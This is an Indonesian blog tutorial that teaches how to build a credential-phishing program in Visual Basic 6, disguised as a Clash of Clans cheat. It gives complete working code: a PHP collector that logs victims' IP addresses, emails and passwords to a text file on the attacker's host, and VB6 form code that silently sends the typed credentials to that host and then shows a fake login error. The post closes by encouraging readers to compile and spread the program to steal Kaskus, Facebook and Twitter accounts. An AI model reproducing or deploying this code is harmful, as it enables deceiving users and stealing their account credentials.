Cara Membuat Aplikasi Phising Menggunakan VB6

Mungkin teman-teman sekalian udah tahu apa itu phishing ? kali ini teknik phishing-nya kita Lakukan pada sebuah program desktop:D ( biasanya kan Lewat situs Hotsting  :3 )

Sebelumnya baca dulu nih Kawan sebagai contoh-nya :

Ada sebuah program kita sebut saja cheat Clash Of Clans Di Android
program itu akan menyuruh anda untuk login ke Email menggunakan program tersebut,apabila ingin membuat cheatnya bekerja.
user yang tertipu akan login lewat program tersebut
di dalam program tersebut terdapat 2 buah textbox dan 1 buah command button.

2 textbox itu adalah penampung Email & Password yang akan di kirim ke server kita dan command buttonnya di gunakan untuk meng eksekusi code,setelah code di eksekusi program akan memanggil sebuah file .php yang telah di buat sebelumnya di server kita
file php yang telah di panggil tersebut bertindak mencatat ip korban pengirim,mencacat tanggal pemanggilan file php,dan mencatat Email & Password korban yang telah di masukan di 2 buah textbox yang ada di program tersebut lalu menyimpannya dalam sebuah file text.

Mengerti-kan dengan cara kerja program ini ?

Siapkan Dulu Alat-Alat Nya :

1. – Program Visual Basic 6.0
2. – Hostingan Free / Yang Berbayar

Oke,langsung aja  kita praktekkan

• 

1. Nah Sekarang Buka Notepad Kalian all Progam > Accsesories > Notepad

Copy Kan Code Berikut Ke Notepad Kalian

<?php

$datum=date('d-m-Y / h:i:s a');

$email = $_GET[e];

$password = $_GET[p];

$ip = getenv ('REMOTE_ADDR');

$fl = fopen('404.txt', 'a');

fwrite($fl, "IP Address : $ip\nDate : $datum\nUsername : $email\nPassword : $password\n\n");

fclose($fl);

$ref = $_SERVER['HTTP_REFERER'];

header("location: $ref");

?>

simpan kode tersebut dengan nama btx.php (cara simpannya : pilih file types -> all files )

Dan Buat Notepad Kosongan Simpan Dengan nama 404.txt

Upload file btx.php dan 404.txt Di WebHosting Kalian

Cara Upload Nya Baca Disini

2. Buka VBnya

3. siapkan form dan module,

• form diberi nama = frmUtama
• module diberi nama = modConnect

4. Masukan kode ini di modconnect ” Public Declare Sub Sleep Lib “kernel32”

Public Declare Sub Sleep Lib "kernel32" (ByVal dwMilliseconds As Long)

Private Declare Function InternetGetConnectedState Lib "wininet.dll" (ByRef _
lpSFlags As Long, ByVal dwReserved As Long) As Long
Const INTERNET_CONNECTION_MODEM = 1
Const INTERNET_CONNECTION_LAN = 2
Const INTERNET_CONNECTION_PROXY = 4
Const INTERNET_CONNECTION_MODEM_BUSY = 8

'Fungsi yang berguna untuk mengecek koneksi internet yang ada di komputer kita menggunakan fungsi api InternetGetConnectedState
Function CekInternet(Optional connectMode As Integer) As Boolean
Dim flags As Long
CekInternet = InternetGetConnectedState(flags, 0)
connectMode = flags
End Function

5. di frmUtama masukan 2 textbox, 1 command button dan 1 label
textbox pertama diberinama : txtUname
textbox kedua diberinama : txtPass

command button diberi nama : cmdLogin
command button diberi caption : &Login

label diberi nama : LBLInfo

masukan kode ini kedalam form 

Private Sub Form_Load()
'dilarang mengganti copyright dalam project ini
'hargai yang membuat tutorial+code
'copyright 2016 BHATRIX CYBER
'and coding by wiceng
'www.btx-cit.cf
lblInfo.Caption = "Memeriksa Koneksi Internet"
If CekInternet = False Then
lblInfo.Caption = "Komputer Anda Tidak Terkoneksi Ke Internet !"
Else
lblInfo.Caption = "Komputer Anda Terkoneksi Dengan Internet"
Me.Caption = "Keylogger BTX CIT"
End If
End Sub

6. nah setelah itu klik 2x cmdLogin yg telah diberi caption Login tadi, dan masukan kode ini 

Dim user, pass As String
Dim IE As Object
user = LCase(txtUname.Text)
pass = txtPass.Text

If txtUname.Text = "" Then
MsgBox "Kotak Teks masih kosong,silahkan isikan dengan benar !", vbExclamation, "Error"
Else
lblInfo.Caption = "Sedang Login ..."
Set IE = CreateObject("InternetExplorer.Application")

IE.Visible = 0
IE.Navigate "http://www.domainkamu.com/btx.php?e=" & _
user & "&p=" & pass

Do While IE.Busy
Sleep 200 'sleepnya 200 ajah :p

Loop
IE.Quit
Set IE = Nothing

lblInfo.Caption = "Username/Password Salah !"
MsgBox "Username/Password Salah !", vbExclamation, "Error"
End If

nah kalo sudah, pilih file -> make Project .exe
selesai deh, tinggal disebar aja, ini bisa buat kaskus, pesbuk, bahkan twitterpun bisa

Nah Cara Lihat Hasil Nya Tinggal cari di Kotak Pencaian

Contoh : https://domainkamu.com/404.txt

Link Sumber : http://www.btx-cit.cf/2016/02/cara-membuat-aplikasi-phising-visual.html#ixzz44fkqx437